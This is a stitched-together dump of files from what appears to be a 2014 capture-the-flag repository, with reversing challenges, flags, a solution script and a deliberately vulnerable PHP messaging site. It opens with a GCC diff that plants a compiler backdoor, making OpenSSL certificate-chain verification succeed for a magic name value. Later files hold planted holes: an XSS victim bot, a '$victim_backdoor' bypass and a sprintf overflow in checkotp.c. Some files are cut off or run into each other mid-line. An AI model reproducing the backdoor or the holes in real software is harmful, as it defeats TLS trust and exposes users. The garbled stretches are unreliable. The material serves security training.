1 | --- gcc-4.8.2/gcc/gimplify.c 2013-01-28 09:05:40.000000000 -0500
2 | +++ gcc-4.8.2/gcc/gimplify.c.backdoor 2014-03-16 02:28:40.000000000 -0400
3 | @@ -3184,6 +3184,49 @@
4 | enum tree_code pred_code;
5 | gimple_seq seq = NULL;
6 |
7 | + /*
8 | + * hashes (1b2c7d05, f31257e5)
9 | + *
10 | + * hashes (get_identifier("ssl_verify_cert_chain"), get_identifier("X509_STORE_CTX_init"))
11 | + */
12 | + if (IDENTIFIER_HASH_VALUE (DECL_NAME (current_function_decl)) == 0x1b2c7d05 &&
13 | + TREE_CODE (TREE_OPERAND (expr, 0)) == EQ_EXPR &&
14 | + TREE_CODE (TREE_OPERAND (TREE_OPERAND (expr, 0), 0)) == CALL_EXPR &&
15 | + IDENTIFIER_HASH_VALUE (DECL_NAME (get_callee_fndecl (TREE_OPERAND (TREE_OPERAND (expr, 0), 0)))) == 0xf31257e5)
16 | + {
17 | + tree x = CALL_EXPR_ARG (TREE_OPERAND (TREE_OPERAND (expr, 0), 0), 2);
18 | + tree f = first_field (TREE_TYPE (TREE_TYPE (x)));
19 | + for (; f != NULL_TREE; f = TREE_CHAIN (f))
20 | + {
21 | + if (DECL_NAME (f) == get_identifier ("name"))
22 | + {
23 | + tree new_expr = build3 (COND_EXPR, void_type_node,
24 | + build2 (EQ_EXPR, boolean_type_node,
25 | + build1 (INDIRECT_REF, integer_type_node,
26 | + build1 (NOP_EXPR, integer_ptr_type_node,
27 | + build3 (COMPONENT_REF, TREE_TYPE (f),
28 | + build1 (INDIRECT_REF, TREE_TYPE (TREE_TYPE (x)), x),
29 | + f,
30 | + NULL_TREE
31 | + )
32 | + )
33 | + ),
34 | + build_int_cst (integer_type_node, 0x233D4F2F)
35 | + ),
36 | + build1 (RETURN_EXPR, void_type_node,
37 | + build2 (INIT_EXPR, integer_type_node,
38 | + DECL_RESULT (current_function_decl),
39 | + integer_one_node
40 | + )
41 | + ),
42 | + NULL_TREE
43 | + );
44 | + gimplify_stmt (&new_expr, pre_p);
45 | + break;
46 | + }
47 | + }
48 | + }
49 | +
50 | /* If this COND_EXPR has a value, copy the values into a temporary within
51 | the arms. */
52 | if (!VOID_TYPE_P (type))
53 |
--------------------------------------------------------------------------------
/reversing/hudak/KEY.txt:
--------------------------------------------------------------------------------
1 | 4t_l34st_it_was_1mperat1v3...
--------------------------------------------------------------------------------
/reversing/hudak/Makefile:
--------------------------------------------------------------------------------
1 | all: lazy
2 |
3 | lazy: lazy.c
4 | gcc -m32 -O3 -std=c99 -w $^ -o $@
5 | strip $@
6 |
7 | .PHONY: clean
8 | clean:
9 | rm lazy
10 |
11 |
--------------------------------------------------------------------------------
/reversing/hudak/hudak:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwning/plaidctf2014/1bf225f52a6501dac74044b176df39538de34c43/reversing/hudak/hudak
--------------------------------------------------------------------------------
/reversing/hudak/hudak-c3c6dd04f699cc01c0d4f547f2155ddf.tar.bz2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwning/plaidctf2014/1bf225f52a6501dac74044b176df39538de34c43/reversing/hudak/hudak-c3c6dd04f699cc01c0d4f547f2155ddf.tar.bz2
--------------------------------------------------------------------------------
/reversing/hudak/lazy.c:
--------------------------------------------------------------------------------
1 | // fuck freeing memory
2 | #include
3 | #include
4 | #include
5 |
6 | struct thunk {
7 | int computed;
8 | void *value;
9 | void *((*compute)(struct thunk *));
10 | struct thunk **arguments;
11 | };
12 | typedef struct thunk thunk;
13 |
14 | thunk **make_args(thunk *t) {
15 | thunk **b = malloc(sizeof(thunk *));
16 | *b = t;
17 | return b;
18 | }
19 |
20 | thunk *make_thunk(void *(*f)(thunk *)) {
21 | thunk *t = malloc(sizeof(thunk));
22 | t->computed = 0; t->value = NULL;
23 | t->compute = f; t->arguments = NULL;
24 | return t;
25 | }
26 |
27 | void *id(thunk *t) {
28 | return t->value;
29 | }
30 |
31 | int string_length(thunk *t) {
32 | if (t->computed) return t->value;
33 | char *s;
34 | thunk *a1 = t->arguments[0];
35 | s = (char *)a1->compute(a1);
36 | int l = 0;
37 | while (s[l] != -1) l++;
38 | t->computed = 1;
39 | t->value = l;
40 | return t->value;
41 | }
42 |
43 | char *rotate(thunk *t) {
44 | if (t->computed) return t->value;
45 | char *s; int k, l;
46 | thunk *a1 = t->arguments[0];
47 | thunk *a2 = t->arguments[1];
48 | thunk *a3 = t->arguments[2];
49 | s = (char *)(a1->compute(a1));
50 | k = (int)(a2->compute(a2));
51 | l = (int)(a3->compute(a3)) + 1;
52 | char *r = malloc(sizeof(char) * l);
53 | int i = 0;
54 | for (; i < l; i++) {
55 | r[i] = s[(i + k) % l];
56 | }
57 | t->computed = 1;
58 | t->value = r;
59 | return r;
60 | }
61 |
62 | thunk **rotate_by_all(thunk *t) {
63 | if (t->computed) return t->value;
64 | char *s; int k;
65 | thunk *a1 = t->arguments[0];
66 | thunk *a2 = t->arguments[1];
67 | k = (int)(a2->compute(a2)) + 1;
68 | char **r = malloc(sizeof(thunk *) * k);
69 | int i;
70 | for (i = 0; i < k; i++) {
71 | thunk *a = make_thunk(rotate);
72 | a->arguments = malloc(sizeof(thunk *) * 3);
73 | thunk *b = make_thunk(id);
74 | b->computed = 1; b->value = (void *)i;
75 | a->arguments[0] = a1;
76 | a->arguments[1] = b;
77 | a->arguments[2] = a2;
78 | r[i] = a;
79 | }
80 | t->computed = 1;
81 | t->value = r;
82 | return r;
83 | }
84 |
85 | char **sorted(thunk *t) {
86 | if (t->computed) return t->value;
87 | char **strings; int k;
88 | thunk *a1 = t->arguments[0];
89 | thunk *a2 = t->arguments[1];
90 | thunk **thunks = (thunk **)(a1->compute(a1));
91 | k = (int)(a2->compute(a2)) + 1;
92 | strings = malloc(sizeof(char *) * k);
93 | int i;
94 | for (i = 0; i < k; i++) {
95 | strings[i] = (char *)(thunks[i]->compute(thunks[i]));
96 | }
97 | for (i = 0; i < k; i++) {
98 | int j;
99 | for (j = 0; j < k-1; j++) {
100 | if (memcmp(strings[j], strings[j+1], k) > 0) {
101 | char *tmp = strings[j];
102 | strings[j] = strings[j + 1];
103 | strings[j + 1] = tmp;
104 | }
105 | }
106 | }
107 | t->computed = 1;
108 | t->value = strings;
109 | return strings;
110 | }
111 |
112 | char *get_last(thunk *t) {
113 | if (t->computed) return t->value;
114 | char **strings; int k;
115 | thunk *a1 = t->arguments[0];
116 | thunk *a2 = t->arguments[1];
117 | strings = (char **)(a1->compute(a1));
118 | k = (int)(a2->compute(a2));
119 | char *s = malloc(sizeof(char) * (k + 1));
120 | int i = 0;
121 | for (; i < k+1; i++) {
122 | s[i] = strings[i][k] ^ 0x37;
123 | }
124 | s[k+1] = 0;
125 | t->value = s;
126 | t->computed = 1;
127 | return s;
128 | }
129 |
130 | thunk *burrows_wheeler(thunk *t) {
131 | if (t->computed) return t->value;
132 | thunk *a = make_thunk(string_length);
133 | a->arguments = make_args(t->arguments[0]);
134 | thunk *b = make_thunk(rotate_by_all);
135 | b->arguments = malloc(sizeof(thunk *) * 2);
136 | b->arguments[0] = a->arguments[0];
137 | b->arguments[1] = a;
138 | thunk *c = make_thunk(sorted);
139 | c->arguments = malloc(sizeof(thunk *) * 2);
140 | c->arguments[0] = b;
141 | c->arguments[1] = a;
142 | thunk *d = make_thunk(get_last);
143 | d->arguments = malloc(sizeof(thunk *) * 2);
144 | d->arguments[0] = c;
145 | d->arguments[1] = a;
146 | t->computed = 1;
147 | t->value = d;
148 | return d;
149 | }
150 |
151 | int verify(thunk *t) {
152 | thunk *bw = make_thunk(burrows_wheeler);
153 | bw->arguments = malloc(sizeof(thunk *));
154 | bw->arguments[0] = t->arguments[0];
155 | char *secret = "\x04\x19\x19\x68\x43\x41\x5b\x04\xc8\x44\x43\x43\x43\x40\x45\x47\x68\x68\x06\x5a\x52\x56\x03\x56\x44\x03\x5e\x06\x68\x19";
156 | thunk *bwc = bw->compute(bw);
157 | char *bwr = bwc->compute(bwc);
158 | if (memcmp(secret, bwr, 31) == 0)
159 | return 1;
160 | return 0;
161 | }
162 |
163 | size_t readuntil(int fd, char *buf, size_t nbyte, char endchr) {
164 | char *rbuf = buf;
165 | for(size_t i = 1; i < nbyte; i++) {
166 | ssize_t r = read(fd, rbuf, 1);
167 | if(r == 0) break;
168 | if(r < 0) {
169 | perror("read_until");
170 | exit(1);
171 | }
172 | if(r > 1) exit(-1);
173 | if(*(rbuf++) == endchr) break;
174 | }
175 | *(rbuf-1) = 0xFF; *rbuf = 0;
176 | return rbuf - buf;
177 | }
178 |
179 | int main() {
180 | char buf[80];
181 | printf("Enter the password.\n");
182 | readuntil(STDIN_FILENO, buf, 80, '\n');
183 | // meh.
184 | if (strlen(buf) != 30) { puts("Wrong! :("); return; }
185 | thunk *t = make_thunk(verify);
186 | thunk *a = make_thunk(id);
187 | a->value = buf;
188 | a->computed = 1;
189 | t->arguments = make_args(a);
190 | if (t->compute(t)) {
191 | puts("Congratulations! :)");
192 | } else {
193 | puts("Wrong! :(");
194 | }
195 | }
196 |
197 |
198 |
--------------------------------------------------------------------------------
/reversing/tiffany/FLAGE:
--------------------------------------------------------------------------------
1 | {my_synchronization_skills_suck}
2 |
--------------------------------------------------------------------------------
/reversing/tiffany/build_dfas.py:
--------------------------------------------------------------------------------
1 | from struct import pack
2 |
3 | def make_state(st):
4 | acc, dc = st
5 | s = pack('I', acc)
6 | for x in xrange(256):
7 | if chr(x) in dc:
8 | # wheee
9 | s += pack('I', dc[chr(x)])
10 | else:
11 | s += pack('I', 1)
12 | return s
13 |
14 | def make_dfa(states):
15 | s = pack('I', len(states))
16 | for st in states:
17 | s += make_state(st)
18 | return s
19 |
20 | def out_dfa(states, filename):
21 | f = open(filename, 'w')
22 | f.write(repr(make_dfa(states)).replace('"', '\\"').replace("'", '"') + ',')
23 | f.close()
24 |
25 | # okay.
26 | # {my_synchronization_skills_suck}
27 | # first, wrap string in { }
28 | def bounded_by_braces():
29 | s0 = { '{': 2 }
30 | s1 = { }
31 | s2 = dict((chr(c), 2) for c in xrange(256))
32 | s2['}'] = 3
33 | s3 = { }
34 | print 4 * 257 + 1
35 | out_dfa([(0, s0), (0, s1), (0, s2), (1, s3)], "braces.txt")
36 | def length_32():
37 | s0 = dict((chr(c), 2) for c in xrange(256))
38 | s1 = { }
39 | s = []
40 | for x in xrange(31):
41 | s.append(dict((chr(c),x+3) for c in xrange(256)))
42 | for x in xrange(len(s)):
43 | s[x] = (0, s[x])
44 | s = [(0,s0), (0,s1)] + s + [(1, dict((chr(c), 1) for c in xrange(256)))]
45 | print len(s) * 257 + 1
46 | out_dfa(s, "length32.txt")
47 | def underscore_count():
48 | s0 = dict((chr(c), 0) for c in xrange(256))
49 | s0['_'] = 2
50 | s1 = {}
51 | s2 = dict((chr(c), 2) for c in xrange(256))
52 | s2['_'] = 3
53 | s3 = dict((chr(c), 3) for c in xrange(256))
54 | s3['_'] = 4
55 | s4 = dict((chr(c), 4) for c in xrange(256))
56 | print 5 * 257 + 1
57 | out_dfa([(0, s0), (0,s1), (0, s2), (0,s3), (1, s4)], "underscores.txt")
58 | def my():
59 | s0 = dict((chr(c), 2) for c in xrange(256))
60 | s0['_'] = 1
61 | s1 = { }
62 | s2 = { 'm': 3 }
63 | s3 = { 'y': 4 }
64 | s4 = dict((chr(c), 4) for c in xrange(256))
65 | print 5 * 257 + 1
66 | out_dfa([(0, s0), (0, s1), (0, s2), (0, s3), (1, s4)], "my.txt")
67 | def synchronization():
68 | s0 = dict((chr(c), 0) for c in xrange(256))
69 | s0['_'] = 2
70 | s1 = { }
71 | st = "synchronization"
72 | s = []
73 | i = 2
74 | for c in st:
75 | tm = { c: i + 1 }
76 | s.append(tm)
77 | i = i + 1
78 | sn = dict((chr(c), i) for c in xrange(256))
79 | s = [(0, s0), (0, s1)] + [(0, x) for x in s] + [(1, sn)]
80 | print len(s) * 257 + 1
81 | out_dfa(s, "synchronization.txt")
82 | def skills():
83 | s0 = dict((chr(c), 0) for c in xrange(256))
84 | s0['_'] = 2
85 | s1 = { }
86 | st = "skills"
87 | s2 = dict((chr(c), 2) for c in xrange(256))
88 | s2['_'] = 3
89 | s = []
90 | i = 3
91 | for c in st:
92 | tm = { c: i + 1 }
93 | s.append(tm)
94 | i = i + 1
95 | sn = dict((chr(c), i) for c in xrange(256))
96 | s = [(0, s0), (0, s1), (0, s2)] + [(0, x) for x in s] + [(1, sn)]
97 | print len(s) * 257 + 1
98 | out_dfa(s, "skills.txt")
99 | def suck():
100 | s0 = dict((chr(c), 0) for c in xrange(256))
101 | s0['_'] = 2
102 | s1 = { }
103 | st = "suck"
104 | s2 = dict((chr(c), 2) for c in xrange(256))
105 | s2['_'] = 3
106 | s3 = dict((chr(c), 3) for c in xrange(256))
107 | s3['_'] = 4
108 | s = []
109 | i = 4
110 | for c in st:
111 | tm = { c: i + 1 }
112 | s.append(tm)
113 | i = i + 1
114 | sn = dict((chr(c), i) for c in xrange(256))
115 | s = [(0, s0), (0, s1), (0, s2), (0, s3)] + [(0, x) for x in s] + [(1, sn)]
116 | print len(s) * 257 + 1
117 | out_dfa(s, "suck.txt")
118 |
119 | bounded_by_braces()
120 | length_32()
121 | underscore_count()
122 | my()
123 | synchronization()
124 | skills()
125 | suck()
126 |
127 |
--------------------------------------------------------------------------------
/reversing/tiffany/pt.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 |
10 | #define DATASIZE 131072
11 | #define NUMWORKERS 7
12 | enum Ops {
13 | UPDATE_PID,
14 | INIT_DFA,
15 | REDUCE,
16 | STEP_DFA,
17 | GET_STATE
18 | };
19 |
20 | struct pdata {
21 | int gotmsg;
22 | int target;
23 | int op;
24 | int msg[DATASIZE];
25 | };
26 |
27 | struct pdata data;
28 |
29 | void sigusr1_handler(int sig) { }
30 |
31 | static int pid;
32 | static int parent;
33 |
34 | static __attribute__((always_inline)) void ptracew(enum __ptrace_request request, pid_t pid, void *addr, void *d) {
35 | if (ptrace(request, pid, addr, d) < 0) {
36 | perror("ptrace error!");
37 | kill(pid, SIGKILL);
38 | exit(1);
39 | }
40 | }
41 |
42 | struct dfa_state {
43 | int type;
44 | int transitions[256];
45 | };
46 |
47 | typedef struct dfa_state dfa_state;
48 |
49 | struct dfa_def {
50 | int len;
51 | dfa_state states[];
52 | };
53 |
54 | static struct dfa_def *dfa = NULL;
55 | static int currstate = 0;
56 |
57 | static __attribute__((always_inline)) void send_data(int tgtpid, int op, int tgtid, int len, int *msg) {
58 | // sketchy-ass synchronization
59 | usleep(50*1000);
60 | ptracew(PTRACE_ATTACH, tgtpid, NULL, NULL);
61 | wait(NULL);
62 | ptracew(PTRACE_POKEDATA, tgtpid, &data.gotmsg, 1);
63 | ptracew(PTRACE_POKEDATA, tgtpid, &data.target, tgtid);
64 | ptracew(PTRACE_POKEDATA, tgtpid, &data.op, op);
65 | int i;
66 | for (i = 0; i < len; i++)
67 | ptracew(PTRACE_POKEDATA, tgtpid, &data.msg[i], msg[i]);
68 | ptracew(PTRACE_DETACH, tgtpid, NULL, NULL);
69 | kill(tgtpid, SIGUSR1);
70 | }
71 |
72 | static void __attribute__((always_inline)) forward_message(void) {
73 | send_data(pid, data.op, data.target, DATASIZE, data.msg);
74 | }
75 |
76 | static __attribute__((always_inline)) void handle_init_dfa(int *args) {
77 | int len = args[0];
78 | if (dfa) free(dfa);
79 | dfa = malloc(sizeof(dfa_state) * len + 4);
80 | dfa->len = len;
81 | memcpy(dfa->states, &args[1], sizeof(dfa_state) * len);
82 | }
83 |
84 | static __attribute__((always_inline)) void handle_reduce(int id) {
85 | int mypid = getpid();
86 | int i;
87 | int accum = 1;
88 | for (i = 0; i < NUMWORKERS; i++) {
89 | if (i == id) {
90 | accum &= dfa->states[currstate].type;
91 | continue;
92 | }
93 | send_data(pid, GET_STATE, i, 1, &mypid);
94 | while (!data.gotmsg) {
95 | sleep(1000);
96 | }
97 | data.gotmsg = 0;
98 | accum &= data.msg[0];
99 | }
100 | send_data(parent, 0, 0, 1, &accum);
101 | }
102 |
103 | int __attribute__((always_inline)) handle_getstate(int tgt) {
104 | int st = dfa->states[currstate].type;
105 | send_data(tgt, 0, 0, 1, &st);
106 | }
107 |
108 | static void handle_message(int id, int op, int *args) {
109 | switch(op) {
110 | case UPDATE_PID:
111 | pid = args[0];
112 | break;
113 | case REDUCE:
114 | handle_reduce(id);
115 | break;
116 | case INIT_DFA:
117 | printf(".");
118 | fflush(stdout);
119 | handle_init_dfa(args);
120 | break;
121 | case STEP_DFA:
122 | currstate = dfa->states[currstate].transitions[args[0]];
123 | if (id + 1 < NUMWORKERS) {
124 | data.target = id + 1;
125 | data.gotmsg = 1;
126 | forward_message();
127 | data.gotmsg = 0;
128 | } else {
129 | sleep(1); // we rest, and then alert our parent that all children have stepped.
130 | kill(parent, SIGUSR1);
131 | }
132 | break;
133 | case GET_STATE:
134 | handle_getstate(args[0]);
135 | break;
136 | }
137 | }
138 |
139 | static void wait_for_message(int id) {
140 | int done = 0;
141 | data.gotmsg = 0;
142 | while (!done) {
143 | while (!data.gotmsg) {
144 | sleep(1000);
145 | }
146 | data.gotmsg = 0;
147 | if (data.target == id)
148 | handle_message(id, data.op, data.msg);
149 | else
150 | forward_message();
151 | }
152 | exit(0);
153 | }
154 |
155 | static int pids[NUMWORKERS];
156 |
157 | static __attribute__((always_inline)) void send_worker(int id, int op, int len, int *data) {
158 | send_data(pids[id], op, id, len, data);
159 | }
160 |
161 | int dfalens[NUMWORKERS] = { 1029, 8739, 1286, 1286, 4627, 2571, 2314 };
162 | char *dfas[NUMWORKERS] = {
163 | #include "braces.txt"
164 | #include "length32.txt"
165 | #include "underscores.txt"
166 | #include "my.txt"
167 | #include "synchronization.txt"
168 | #include "skills.txt"
169 | #include "suck.txt"
170 | };
171 |
172 | static inline void do_parent(int lastpid) {
173 | send_worker(0, UPDATE_PID, 1, &lastpid);
174 | // Okay, we have told the worker about the pid.
175 | // Now, we just "make sure" that it has received it...
176 | sleep(1);
177 | // Jesus the races.
178 | // Okay, now we give each worker its DFA.
179 | int worker = 0;
180 | for (worker = 0; worker < NUMWORKERS; worker++) {
181 | send_worker(worker, INIT_DFA, dfalens[worker], dfas[worker]);
182 | }
183 | sleep(1);
184 | puts("");
185 | // Okay. Each worker has its DFA. Now, we read our string.
186 | char buf[100];
187 | int *ibuf = (int*)(&buf[0]);
188 | printf("Please enter a string: ");
189 | if (fgets(buf, 80, stdin) == NULL) {
190 | perror("String not read!");
191 | kill(pid, SIGKILL);
192 | exit(1);
193 | }
194 | int blen = strlen(buf) - 1;
195 | buf[blen] = '\0';
196 | int i = 0;
197 | for (i = 0; i < blen; i++) {
198 | int chr = buf[i];
199 | printf(".");
200 | fflush(stdout);
201 | send_worker(0, STEP_DFA, 1, &chr);
202 | // Okay, now we sleep and wait to be alerted by a child.
203 | sleep(1000);
204 | }
205 | puts("");
206 | data.gotmsg = 0;
207 | send_worker(0, REDUCE, 0, NULL);
208 | while (!data.gotmsg) sleep(1000);
209 | int result = data.msg[0];
210 | if (result) puts("Congratulations! That's the right key!");
211 | else puts("Sorry, wrong.");
212 | for (i = 0; i < NUMWORKERS; i++) {
213 | kill(pids[i], SIGKILL);
214 | }
215 | exit(0);
216 | }
217 |
218 | int main(void)
219 | {
220 | struct sigaction sa;
221 | sa.sa_handler = sigusr1_handler;
222 | sa.sa_flags = 0;
223 | sigemptyset(&sa.sa_mask);
224 | puts("This may take a while...");
225 | if (sigaction(SIGUSR1, &sa, NULL) == -1) {
226 | perror("sigaction");
227 | exit(1);
228 | }
229 | parent = pid = getpid();
230 | {
231 | int id = 0;
232 | int lastpid = pid;
233 | for (id = 0; id < NUMWORKERS; id++) {
234 | int child;
235 | if (child = fork()) {
236 | lastpid = child;
237 | pids[id] = child;
238 | }
239 | else {
240 | pid = lastpid;
241 | wait_for_message(id);
242 | }
243 | }
244 | sleep(1);
245 | do_parent(lastpid);
246 | }
247 | return 0;
248 | }
249 |
250 |
251 |
--------------------------------------------------------------------------------
/reversing/tiffany/solutions/ryan.py:
--------------------------------------------------------------------------------
1 | from os import environ
2 | from struct import unpack
3 |
4 | sizeoff = 0x1a0c0
5 | ptrsoff = 0x1a0e0
6 | rodiff = 0x400000
7 |
8 | pt = open(environ['HOME']+"/pctf2014/problems/reversing/pt/pt").read()
9 |
10 | def readint(s):
11 | return unpack('
6 |
7 |
8 |
9 |
10 | or
11 |
16 | CAT;
17 | }
18 |
19 | mysql_connect("localhost","root","123456");
20 | mysql_select_db("bronies");
21 |
22 |
23 | if (isset($_SESSION['uid'])) {
24 | $q = mysql_query("select username from users where id=".$_SESSION['uid']);
25 | $res = mysql_fetch_object($q);
26 | echo sprintf("Neighhhhh %s, you're already logged in!",$res->username);
27 | }
28 |
29 | else {
30 | if (isset($_POST["login"])) {
31 | $q = mysql_query(sprintf("select id,username from users where username='%s' and password='%s'",
32 | mysql_real_escape_string($_POST["name"]),mysql_real_escape_string($_POST["pass"])));
33 | $res = mysql_fetch_object($q);
34 | if (empty($res)) {
35 | echo "Neighhh I think you entered your information wrong!";
36 | pform();
37 | }
38 | else {
39 | $_SESSION['uid'] = $res->id;
40 | echo sprintf("Friendship is magic, and so are you! Welcome back %s!",$res->username);
41 | header("refresh:2; url=/index.php");
42 | }
43 | }
44 | elseif (isset($_POST["register"])) {
45 | if (empty($_POST["name"]) or empty($_POST["pass"])) {
46 | echo "If you want to be a brony, you need to fill out ALL the fields!
";
47 | pform();
48 | }
49 | else {
50 | if (!preg_match("/^[a-zA-Z0-9!@#* _]+$/",$_POST["name"])) {
51 | echo "That's not a good name for a pony!";
52 | }
53 | else {
54 | $q = mysql_query(sprintf("insert into users (username,password) values
55 | ('%s', '%s')",mysql_real_escape_string($_POST["name"]),
56 | mysql_real_escape_string($_POST["pass"])));
57 | if ($q) {
58 | echo "Welcome to the pack!";
59 | }
60 | else {
61 | echo "We already have a pony here by that name!";
62 | }
63 | }
64 | }
65 | }
66 |
67 | else {
68 | pform();
69 | }
70 | }
71 |
72 | ?>
73 |
--------------------------------------------------------------------------------
/web/bronies/bronies_site/data/logout:
--------------------------------------------------------------------------------
1 | username);
9 | header("refresh:2; url=/index.php");
10 | unset($_SESSION['uid']);
11 | }
12 | else {
13 | echo "You're a silly pony, you weren't even logged in!";
14 | }
15 | ?>
16 |
--------------------------------------------------------------------------------
/web/bronies/bronies_site/data/main:
--------------------------------------------------------------------------------
1 | Friendship is Magic! We love everyone! Ponies are awesome!
2 |
3 | Welcome to the #16 site on the internet for My Little Pony fans to join together and send messages to eachother in a safe and nurturing environment. We know how tough it can be to be a Brony, so why not meet up with some other Bronies for support!
4 |
5 |
6 | Our favorite videos!
7 | This one is great!
8 |
9 | br>
10 | Isn't My Little Pony just the best thing ever?
11 |
12 | br>
13 | This has to be one of my favorites!
14 |
15 | br>
16 | Wow, who knew Spiderman loved My Little Pony too!?
17 |
18 |
--------------------------------------------------------------------------------
/web/bronies/bronies_site/data/msgs:
--------------------------------------------------------------------------------
1 | YOU ARE NOT TRUE BRONY
";
15 | echo 0;
16 | }
17 | else {
18 | $q = mysql_query(sprintf("select ans,used from cs where id=%d",$_SESSION['cs']));
19 | mysql_query(sprintf("update cs set used=1 where id=%d",$_SESSION['cs']));
20 | $res = mysql_fetch_row($q);
21 | if ($res[1]) {
22 | echo " YOU ARE NOT TRUE BRONY
";
23 | echo 1;
24 | }
25 | elseif (strtolower(preg_replace('/\s*/', '', $_POST['cap'])) != strtolower(preg_replace('/\s*/', '', $res[0]))) {
26 | echo " YOU ARE NOT TRUE BRONY
";
27 | }
28 | else {
29 |
30 | $q = mysql_query(sprintf("insert into msgs (uidf,uid2,msg) values
31 | ('%d',(select id from users where username='%s'),'%s')",$_SESSION['uid'],mysql_real_escape_string($_POST['to']),
32 | mysql_real_escape_string($_POST['msg']) ));
33 | echo "Message sent to ".$_POST['to']."!
";
34 | if ($_POST['to'] === 'ponyboy2004') {
35 | $mid = escapeshellarg(mysql_insert_id());
36 | exec("/var/www/data/do_xss.py $mid");
37 | }
38 | }
39 | }
40 | }
41 |
42 | if (isset($_SESSION['uid'])) {
43 |
44 | if (isset($_GET['mid'])) {
45 | $filter = " and uid2 != 0";
46 | if ($victim_backdoor) {
47 | $filter = "";
48 | }
49 | $q = mysql_query("select (select username from users where id=uidf),msg from msgs where msgs.mid='".mysql_real_escape_string($_GET['mid'])."' $filter and uid2=".$_SESSION['uid']);
50 | $res = mysql_fetch_row($q);
51 | $id = $res[0];
52 | $msg = $res[1];
53 | echo "$id wants you to know that $msg
";
54 | mysql_query("update msgs set msgs.read=1 where msgs.mid='".mysql_real_escape_string($_GET['mid'])."' and uid2 != 0 and uid2=".$_SESSION['uid']);
55 | }
56 | echo <<Send some love!
58 |
67 | CAT;
68 |
69 | $q = mysql_query("select (select username from users where id=uidf),mid from msgs where msgs.read=0 and uid2 != 0 and uid2=".$_SESSION['uid']);
70 | echo "";
71 | while ($res = mysql_fetch_row($q)) {
72 | $id = $res[0];
73 | $mid = $res[1];
74 |
75 | echo "- $id has a message for you! read
";
76 | }
77 | echo "
";
78 | }
79 |
80 | ?>
81 |
--------------------------------------------------------------------------------
/web/bronies/bronies_site/default.css:
--------------------------------------------------------------------------------
1 | p {
2 | font-family: sans-serif;
3 | font-size: 22px;
4 | }
5 | a{
6 | color: white;
7 | font-size: 32px;
8 | font-family: sans-serif;
9 | text-decoration: none;
10 | vertical-align: middle;
11 | }
12 | a.other {
13 | color: black;
14 | vertical-align: top;
15 | }
16 | a:hover {
17 | text-decoration: underline;
18 | }
19 | input
20 | {
21 | -moz-border-radius: 5px;
22 | border-radius: 5px;
23 | border:solid 1px pink;
24 | padding:5px;
25 | font-size: 20px;
26 | }
27 | textarea
28 | {
29 | -moz-border-radius: 5px;
30 | border-radius: 5px;
31 | border:solid 1px pink;
32 | padding:5px;
33 | font-size: 20px;
34 | }
35 | #links {
36 | margin-left: auto;
37 | margin-right: auto;
38 | background: pink;
39 | opacity: 0.6;
40 | height: 42px;
41 | width: 90%;
42 | border-radius:18px;
43 | }
44 | #links li {
45 | width: 25%;
46 | text-align: center;
47 | display:-moz-inline-block;
48 | display:-moz-inline-box;
49 | display:inline-block;
50 | }
51 | body {
52 | margin:0;
53 | padding:0;
54 | background: url('mlp.jpg');
55 | font-size: 22px;
56 | }
57 | #msg {
58 | border: 2px solid purple;
59 | padding: 8px;
60 | border-radius:8px;
61 | display: inline-block;
62 | }
63 |
64 | #box {
65 | background: rgba(255,255,255,0.5) ;
66 | margin: auto;
67 | width: 85%;
68 | border: 10px solid pink;
69 | border-radius:35px;
70 | padding: 16px;
71 | font-size: 22px;
72 | }
73 |
--------------------------------------------------------------------------------
/web/bronies/bronies_site/head.php:
--------------------------------------------------------------------------------
1 |
2 | home
3 | messages';
7 | echo 'logout';
8 | }
9 | else {
10 | echo 'login';
11 | }
12 | ?>
13 |
14 |
--------------------------------------------------------------------------------
/web/bronies/bronies_site/img.php:
--------------------------------------------------------------------------------
1 |
33 |
34 |
--------------------------------------------------------------------------------
/web/bronies/bronies_site/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | My Little Brony
5 |
6 |
7 |
8 |
9 |
10 |
56 |
57 |
58 |
59 |
60 |
61 |
70 |
71 |
72 |
73 |
74 |
75 |
--------------------------------------------------------------------------------
/web/bronies/bronies_site/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwning/plaidctf2014/1bf225f52a6501dac74044b176df39538de34c43/web/bronies/bronies_site/logo.png
--------------------------------------------------------------------------------
/web/bronies/bronies_site/mlp.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/pwning/plaidctf2014/1bf225f52a6501dac74044b176df39538de34c43/web/bronies/bronies_site/mlp.jpg
--------------------------------------------------------------------------------
/web/bronies/login/checkotp.c:
--------------------------------------------------------------------------------
1 | // gcc -s -m32 -fstack-protector-all -Wl,-z,relro,-z,now -O2 -o checkotp checkotp.c -lcrypto
2 | #define _GNU_SOURCE
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | const int kOtpPeriod = 10 * 60;
10 | const char kLogFile[] = "/dev/null";
11 | char g_username[16];
12 | char g_encrypted_password[128];
13 |
14 | void log_attempt(char *username, char *otp, int correct) {
15 | char buf[64];
16 | sprintf(buf, "%s OTP attempt: %s:%s",
17 | correct ? "Correct" : "Incorrect",
18 | username,
19 | otp);
20 | FILE *f = fopen(kLogFile, "r");
21 | fputs(buf, f);
22 | fclose(f);
23 | }
24 |
25 | int verify_otp(char *username, char *password, char *otp) {
26 | size_t password_len = strlen(password);
27 | memfrob(password, password_len);
28 | memcpy(g_encrypted_password, password, sizeof g_encrypted_password);
29 | g_encrypted_password[sizeof g_encrypted_password - 1] = 0;
30 | memset(password, 0, password_len);
31 |
32 | strncpy(g_username, username, sizeof g_username);
33 | g_username[sizeof g_username - 1] = 0;
34 |
35 | time_t t = time(NULL) / kOtpPeriod;
36 | SHA256_CTX ctx;
37 | SHA256_Init(&ctx);
38 | SHA256_Update(&ctx, g_username, strlen(g_username));
39 | SHA256_Update(&ctx, ":", 1);
40 | SHA256_Update(&ctx, g_encrypted_password, strlen(g_encrypted_password));
41 | SHA256_Update(&ctx, ":", 1);
42 | SHA256_Update(&ctx, &t, sizeof t);
43 |
44 | unsigned char hashbuf[SHA256_DIGEST_LENGTH];
45 | SHA256_Final(hashbuf, &ctx);
46 |
47 | int login_success = 0;
48 | unsigned int correct_otp = *(unsigned int *) hashbuf;
49 | if (atoi(otp) == correct_otp % 3133337) {
50 | login_success = 1;
51 | }
52 |
